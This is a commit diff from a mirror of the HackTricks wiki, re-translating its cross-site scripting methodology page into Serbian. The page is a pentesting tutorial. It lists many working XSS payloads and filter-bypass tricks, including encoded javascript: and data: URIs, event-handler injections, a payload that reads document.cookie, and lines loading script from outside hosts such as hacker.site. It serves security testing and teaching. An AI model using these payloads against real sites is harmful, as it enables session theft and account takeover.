maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr

Browse Source
This commit is contained in:
Translator 2025-09-29 15:01:00 +00:00
parent df4b041c84
commit ab4a584f82
3 changed files with 342 additions and 198 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -725,6 +725,7 @@
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)

406
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -4,65 +4,65 @@
## Metodologija
1. Proveri da li se **bilo koja vrednost koju kontrolišeš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili se **koristi** u **JS** kodu.
2. **Pronađi kontekst** u kome je reflektovano/korisćeno.
1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili **koristi** od strane **JS** koda.
2. **Pronađite kontekst** u kome se to reflektuje/koristi.
3. Ako je **reflektovano**
1. Proveri **koje simbole možeš koristiti** i u zavisnosti od toga, pripremi payload:
1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload:
1. U **raw HTML**:
1. Možeš li kreirati nove HTML tagove?
2. Možeš li koristiti evente ili atribute koji podržavaju `javascript:` protocol?
3. Možeš li zaobići zaštite?
4. Da li se HTML sadržaj interpretira kroz neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), koji bi mogaoš zloupotrebiti kroz [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
1. Možete li kreirati nove HTML tagove?
2. Možete li koristiti event-e ili atribute koji podržavaju `javascript:` protokol?
3. Možete li zaobići zaštite?
4. Da li HTML sadržaj tumači neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), tada možete iskoristiti [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li iskoristiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
2. Unutar **HTML taga**:
1. Možeš li izaći u raw HTML kontekst?
2. Možeš li kreirati nove evente/atribute koji izvršavaju JS kod?
3. Da li atribut u kome si zarobljen podržava izvršavanje JS?
4. Možeš li zaobići zaštite?
1. Možete li izaći u raw HTML kontekst?
2. Možete li kreirati nove event-e/atribute za izvršavanje JS koda?
3. Da li atribut u kojem ste "zarobljeni" podržava izvršavanje JS-a?
4. Možete li zaobići zaštite?
3. Unutar **JavaScript koda**:
1. Možeš li pobjeći iz `<script>` taga?
2. Možeš li pobjeći iz stringa i izvršiti drugačiji JS kod?
3. Da li je tvoj input u template literal-ima \`\`?
4. Možeš li zaobići zaštite?
4. Javascript **funkcija** koja se **izvodi**
1. Možeš navesti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korisćeno**:
1. Mogao bi iskoristiti **DOM XSS**, obrati pažnju kako je tvoj input kontrolisan i da li se tvoj **kontrolisani input koristi od strane nekog sinka.**
1. Možete li izaći iz `<script>` taga?
2. Možete li prekinuti string i izvršiti drugi JS kod?
3. Da li je vaš input u template literals ``?
4. Možete li zaobići zaštite?
4. Javascript **funkcija** koja se **izvršava**
1. Možete navesti ime funkcije koja će se izvršiti. npr.: `?callback=alert(1)`
4. Ako se **koristi**:
1. Možete iskoristiti **DOM XSS**, obratite pažnju kako je vaš input kontrolisan i da li se vaš **kontrolisani input koristi od strane nekog sink-a.**
Kada radiš na kompleksnom XSS-u može ti biti interesantno da pogledaš:
Kada radite na kompleksnom XSS-u, može vam biti korisno znati o:
{{#ref}}
debugging-client-side-js.md
{{#endref}}
## Reflected values
## Reflektovane vrednosti
Da bi uspešno eksploatisao XSS, prva stvar koju treba da nađeš je **vrednost koju kontrolišeš i koja se reflektuje** na web stranici.
Da biste uspešno iskoristili XSS, prvo morate pronaći **vrednost kojom upravljate koja se reflektuje** na web stranici.
- **Intermediately reflected**: Ako primetiš da se vrednost parametra ili čak path reflektuje na stranici, možeš iskoristiti **Reflected XSS**.
- **Stored and reflected**: Ako se vrednost koju kontrolišeš čuva na serveru i reflektuje svaki put kad pristupiš stranici, možeš iskoristiti **Stored XSS**.
- **Accessed via JS**: Ako se vrednost koju kontrolišeš pristupa pomoću JS-a, možeš iskoristiti **DOM XSS**.
- **Intermediately reflected**: Ako otkrijete da se vrednost parametra ili čak putanja reflektuje na web stranici, možete iskoristiti **Reflected XSS**.
- **Stored and reflected**: Ako nađete vrednost kojom upravljate koja se čuva na serveru i reflektuje svaki put kada pristupite stranici, možete iskoristiti **Stored XSS**.
- **Accessed via JS**: Ako otkrijete da se vrednost kojom upravljate pristupa preko JS-a, možete iskoristiti **DOM XSS**.
## Konteksti
Kada pokušavaš da iskoristiš XSS, prva stvar koju treba da znaš je **gde se tvoj input reflektuje**. U zavisnosti od konteksta, moći ćeš na različite načine izvršiti proizvoljni JS kod.
Kada pokušavate da iskoristite XSS, prvo treba da znate **gde se vaš input reflektuje**. U zavisnosti od konteksta, bićete u mogućnosti da izvršite proizvoljni JS kod na različite načine.
### Raw HTML
Ako se tvoj input **reflektuje u raw HTML-u** stranice, moraćeš da zloupotrebiš neki **HTML tag** da bi izvršio JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možeš koristiti.\
Takođe, imaj na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
Ako se vaš input **reflektuje u raw HTML-u** stranice, moraćete da iskoristite neki **HTML tag** da biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
### Unutar atributa HTML taga
Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:
1. Da **izbaciš se iz atributa i iz taga** (tada ćeš biti u raw HTML-u) i kreiraš novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možeš izaći iz atributa ali ne i iz taga** (`>` je enkodiran ili obrisan), u zavisnosti od taga možeš **kreirati event** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možeš izaći iz atributa** (`"` je enkodirano ili obrisano), onda u zavisnosti od **kojeg atributa** se tvoja vrednost reflektuje i **da li kontrolišeš celu vrednost ili samo njen deo** biće ti moguće da ga zloupotrebiš. Na **primer**, ako kontrolišeš event kao `onclick=` moći ćeš da ga nateraš da izvrši proizvoljan kod kada se klikne. Drugi interesantan **primer** je atribut `href`, gde možeš koristiti `javascript:` protokol da izvršiš proizvoljan kod: **`href="javascript:alert(1)"`**
4. Ako se tvoj input reflektuje unutar "**neeksploatabilnih tagova**" možeš pokušati trik sa **`accesskey`** da zloupotrebiš ranjivost (biće ti potrebna neka vrsta social engineering-a da ovo iskoristiš): **`" accesskey="x" onclick="alert(1)" x="`**
1. Da **pobegnete iz atributa i iz taga** (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa ali ne i iz taga** (`>` je enkodiran ili obrisan), u zavisnosti od taga možete **napraviti event** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` je enkodiran ili obrisan), onda u zavisnosti od **koji atribut** sadrži vaš input i **da li kontrolišete celu vrednost ili samo deo** bićete u mogućnosti da ga zloupotrebite. Na **primer**, ako kontrolišete event kao `onclick=` moći ćete da izvršite proizvoljan kod kada se klikne. Još jedan interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš input reflektuje unutar "unexpoitable tags" možete probati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta social engineering-a za eksploataciju): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular-a koji izvršava XSS ako kontrolišeš ime klase:
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -70,15 +70,15 @@ Ako se tvoj input reflektuje unutar vrednosti atributa taga, možeš pokušati:
```
### Unutar JavaScript koda
U tom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
U ovom slučaju vaš unos se reflektuje između **`<script> [...] </script>`** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol:
- Ako je reflektovano između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz tog konteksta. Ovo radi zato što **pregledač će prvo parsirati HTML tagove** a zatim sadržaj, te neće primetiti da je vaš ubrizgani `</script>` tag unutar HTML koda.
- Ako je reflektovano **unutar JS stringa** i prethodni trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstrušete** JS kod (ako ima greške, neće biti izvršen):
- Ako se reflektuje između **`<script> [...] </script>`** tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše zato što će **browser prvo parsirati HTML tagove** i zatim sadržaj, zato neće primetiti da je vaš injektovani `</script>` tag unutar HTML koda.
- Ako se reflektuje **unutar JS stringa** i poslednji trik ne radi biće potrebno da **izađete** iz stringa, **izvršite** vaš kod i **rekonstrušete** JS kod (ako ima bilo kakva greška, neće biti izvršeno:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Ako je reflektovano unutar template literals možete **ubaciti JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode enkodiranje** funkcioniše za pisanje **validnog javascript koda**:
- Ako se reflektuje unutar template literals možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** radi da napišete **valid javascript code**:
```javascript
alert(1)
alert(1)
@ -86,7 +86,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting references the opportunity to **deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.**\
Javascript Hoisting odnosi se na mogućnost da **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\
**Pogledajte sledeću stranicu za više informacija:**
@ -96,19 +96,19 @@ js-hoisting.md
### Javascript Function
Mnoge web stranice imaju endpoints koji **prihvataju kao parametar ime funkcije koju treba izvršiti**. Čest primer u divljini je nešto poput: `?callback=callbackFunc`.
Nekoliko web stranica ima endpoints koji **accept as parameter the name of the function to execute**. Uobičajen primer koji se viđa u prirodi je nešto poput: `?callback=callbackFunc`.
Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je **izmeniti vrednost parametra** (na primer u 'Vulnerable') i posmatrati konzolu za greške poput:
Dobar način da utvrdite da li se nešto što korisnik direktno unese pokušava izvršiti je **modifying the param value** (na primer u 'Vulnerable') i praćenje konzole za greške kao:
![](<../../images/image (711).png>)
Ako je ranjiv, mogli biste uspeti da **pokrenete alert** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validiraju sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
Ako je ranjivo, mogli biste biti u mogućnosti da **trigger an alert** jednostavnim slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validate the content** tako da dozvoljavaju samo slova, brojeve, tačke i donje crte (**`[\w\._]`**).
Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da **pristupite bilo kom elementu u DOM-u**:
Međutim, čak i uz to ograničenje i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti te valid chars da **access any element in the DOM**:
![](<../../images/image (747).png>)
Neke korisne funkcije za ovo su:
Some useful functions for this:
```
firstElementChild
lastElementChild
@ -116,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
Takođe možete pokušati da direktno покренете **Javascript functions**: `obj.sales.delOrders`.
Takođe možete pokušati direktno da **pokrenete Javascript funkcije**: `obj.sales.delOrders`.
Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, **other pages in the same origin** će imati **more interesting DOM** za izvođenje više akcija.
Međutim, obično su endpoint-i koji izvršavaju navedenu funkciju endpoint-i bez mnogo interesantnog DOM-a, **druge stranice u istom originu** će imati **zanimljiviji DOM** za izvođenje više akcija.
Stoga, da biste **abuse this vulnerability in a different DOM**, razvijen je exploit za **Same Origin Method Execution (SOME)**:
Stoga, da biste **zloupotrebili ovu ranjivost u drugom DOM-u** razvijen je exploit **Same Origin Method Execution (SOME)**:
{{#ref}}
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
Postoji **JS code** koji nesigurno koristi neke **podatke kontrolisane od strane napadača** kao što je `location.href`. Napadač ovo može iskoristiti da izvrši proizvoljan JS код.
Postoji **JS code** koji **na nesiguran način** koristi neke **podatke koje kontroliše napadač** poput `location.href`. Napadač može to zloupotrebiti za izvršavanje proizvoljnog JS koda.
{{#ref}}
@ -138,8 +138,8 @@ dom-xss.md
### **Universal XSS**
Ovakve vrste XSS mogu se naći **anywhere**. One ne zavise samo od exploitatovanja klijenta web aplikacije već od **any** **context**. Ovakve vrste **arbitrary JavaScript execution** mogu čak biti iskorišćene da dovedu do **RCE**, da **read** **arbitrary** **files** na klijentima i serverima, i još mnogo toga.\
Neki **examples**:
Ovakav tip XSS može se naći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije, već od **bilo kog** **konteksta**. Ovakvo **proizvoljno izvršavanje JavaScript-a** može čak biti zloupotrebljeno za dobijanje **RCE**, za **čitati** **proizvoljne** **fajlove** na klijentima i serverima, i više.\
Neki **primeri**:
{{#ref}}
@ -157,9 +157,9 @@ server-side-xss-dynamic-pdf.md
## Injecting inside raw HTML
Kada je vaš unos reflektovan **inside the HTML page** ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` za kreiranje novih tagova: jednostavno pokušajte da **reflect** taj **char** i proverite da li je **HTML encoded** ili **deleted** ili da li je **reflected without changes**. **Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju**.\
Za ove slučaje takođe **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md).\
_**Napomena: HTML komentar se može zatvoriti koristeći `-->` ili `--!>`**_
Kada je vaš input reflektovan **inside the HTML page** ili možete escape-ovati i injektovati HTML kod u tom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete iskoristiti `<` za kreiranje novih tagova: jednostavno pokušajte da **reflektujete** taj **char** i proverite da li je **HTML encoded** ili **obrisan**, ili je **reflektovan bez izmena**. **Samo u poslednjem slučaju bićete u mogućnosti da iskoristite ovaj slučaj**.\
Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Napomena: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput:
```html
@ -169,22 +169,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force koje tags** možete kreirati.\
Kada otkrijete koji su **tags dozvoljeni**, treba da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force which tags** možete da kreirate.\
Kada ste **located which tags are allowed**, potrebno je da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
### Tags/Events brute-force
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije).
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tag ostao neotkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije).
### Custom tags
Ako niste našli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod pomoću `onfocus` atributa. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod sa atributom `onfocus`. U XSS requestu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se **focus on that object** i **execute** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova:
Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -234,31 +234,31 @@ onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```
### Length bypass (small XSSs)
### Length bypass (mali XSS-ovi)
> [!NOTE] > **Više tiny XSS za različita okruženja** payload [**može se naći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
> [!NOTE] > **Više tiny XSS za različita okruženja** payload [**može se pronaći ovde**](https://github.com/terjanq/Tiny-XSS-Payloads) i [**ovde**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
Poslednji koristi 2 unicode karaktera koja se prošire na 5: telsr\
Više ovakvih karaktera može se naći [ovde](https://www.unicode.org/charts/normalization/).\
Da proverite na koje se karaktere decomponuje pogledajte [ovde](https://www.compart.com/en/unicode/U+2121).
Poslednji koristi 2 unicode karaktera koji se prošire na 5: telsr\
Više ovih karaktera možete pronaći [here](https://www.unicode.org/charts/normalization/).\
Da proverite u koje se karaktere dekomponuje, proverite [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
Ako je za iskorišćavanje ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
Ako je za eksploataciju ranjivosti potrebno da **korisnik klikne na link ili formu** sa unapred popunjenim podacima, možete pokušati da [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (ako je stranica ranjiva).
### Impossible - Dangling Markup
Ako mislite da je **nemoguće napraviti HTML tag sa attribute koji izvršava JS kod**, treba da pogledate [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) jer biste mogli **iskoristiti** ranjivost **bez** izvršavanja **JS** koda.
Ako mislite da je **nemoguće kreirati HTML tag sa atributom koji izvršava JS kod**, trebalo bi da proverite [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html)jer možete **exploit** ranjivost **without** izvršavanja **JS** koda.
## Injecting inside HTML tag
## Injektovanje unutar HTML taga
### Inside the tag/escaping from attribute value
Ako se nalazite **inside a HTML tag**, prva stvar koju možete pokušati je da **escape** iz taga i iskoristite neke od tehnika pomenutih u [prethodnom odeljku](#injecting-inside-raw-html) da izvršite **JS** kod.\
Ako **ne možete escape-ovati iz taga**, možete kreirati nove attribute unutar taga kako biste pokušali da izvršite **JS** kod, na primer koristeći payload poput (_napomena: u ovom primeru double quotes služe za escape iz attribute, neće vam biti potrebni ako je vaš unos reflektovan direktno unutar taga_):
Ako se nalazite **inside a HTML tag**, prva stvar koju možete pokušati je da **escape** iz taga i upotrebite neke od tehnika pomenutih u [previous section](#injecting-inside-raw-html) da izvršite JS kod.\
Ako **cannot escape from the tag**, možete kreirati nove atribute unutar taga da pokušate izvršiti JS kod, na primer koristeći neki payload poput (_napomena: u ovom primeru double quotes se koriste da se escape-uje iz atributa, neće vam trebati ako je vaš input reflektovan direktno unutar taga_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,16 +273,16 @@ Ako **ne možete escape-ovati iz taga**, možete kreirati nove attribute unutar
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Unutar atributa
### Within the attribute
Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkoduje ili briše), u zavisnosti od **koji atribut** odražava vašu vrednost **da li kontrolišete celu vrednost ili samo njen deo** moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.\
Drugi interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljni kod: **`href="javascript:alert(1)"`**
Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkodira ili briše), u zavisnosti od **koji atribut** u kojem je vaša vrednost reflektovana i **da li kontrolišete celu vrednost ili samo njen deo** bićete u mogućnosti da to zloupotrebite. Na **primer**, ako kontrolišete event kao `onclick=` moći ćete da naterate izvršavanje proizvoljnog koda kada se klikne.\
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`**
**Bypass inside event using HTML encoding/URL encode**
The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se **dekodiraju tokom runtime-a**. Dakle, nešto poput sledećeg će biti validno (payload je u boldu): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
Note that **any kind of HTML encode is valid**:
Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -299,11 +299,11 @@ Note that **any kind of HTML encode is valid**:
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>
```
**Imajte na umu da će i URL encode raditi:**
**Imajte na umu da će URL encode takođe raditi:**
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Bypass unutar event-a koristeći Unicode enkodovanje**
**Bypass unutar događaja koristeći Unicode enkodiranje**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -311,7 +311,7 @@ Note that **any kind of HTML encode is valid**:
```
### Specijalni protokoli unutar atributa
Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
Tu možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
```
**Mesta gde možete ubaciti ove protokole**
**Mesta gde možete injektovati ove protokole**
**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img`)
**Uopšteno** `javascript:` protokol može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `<img>` )
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
```
**Other obfuscation tricks**
**Ostali obfuscation trikovi**
_**U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi, jer se nalazite unutar atributa.**_
_**U ovom slučaju HTML encoding i Unicode encoding trikovi iz prethodnog odeljka takođe važe jer se nalazite unutar atributa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Štaviše, postoji još jedan **nice trick** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, biće URL decoded pre nego što se izvrši.** Dakle, ako treba da **escape** iz **string** koristeći **single quote** i vidite da **it's being URL encoded**, zapamtite da **it doesn't matter,** biće **interpreted** kao **single quote** tokom **execution** time.
Štaviše, postoji još jedan **koristan trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL encoded, on će biti URL decoded pre nego što se izvrši.** Dakle, ako treba da **escape** iz **string** koristeći **single quote** i vidite da **it's being URL encoded**, zapamtite da **it doesn't matter,** biće **interpreted** kao **single quote** tokom **execution**.
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**.
Imajte na umu da ako pokušate da **upotrebite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload** to **neće** **raditi**, ali možete **ih mešati unutar payload**.
**Korišćenje Hex i Octal encode sa `javascript:`**
Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (najmanje) da navedete **HTML tags to execute JS**:
Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (barem) kako biste deklarisali **HTML tags to execute JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -385,17 +385,16 @@ Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (naj
```javascript
<a target="_blank" rel="opener"
```
Ako možete ubaciti bilo koji URL u proizvoljan **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, pogledajte **sledeću stranicu da biste iskoristili ovo ponašanje**:
Ako možete ubaciti bilo koji URL u proizvoljni **`<a href=`** tag koji sadrži atribute **`target="_blank" and rel="opener"`**, proverite **sledeću stranicu da biste iskoristili ovo ponašanje**:
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### Zaobilaženje 'on' event handlers
### on Event Handlers Bypass
Najpre pogledajte ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
Ako neka crna lista sprečava kreiranje ovih event handlera, možete pokušati sledeće zaobilaženja:
Prvo proverite ovu stranicu ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) za korisne **"on" event handlers**.\
U slučaju da neka blacklist sprečava kreiranje ovih event handlera, možete pokušati sledeće bypass-e:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
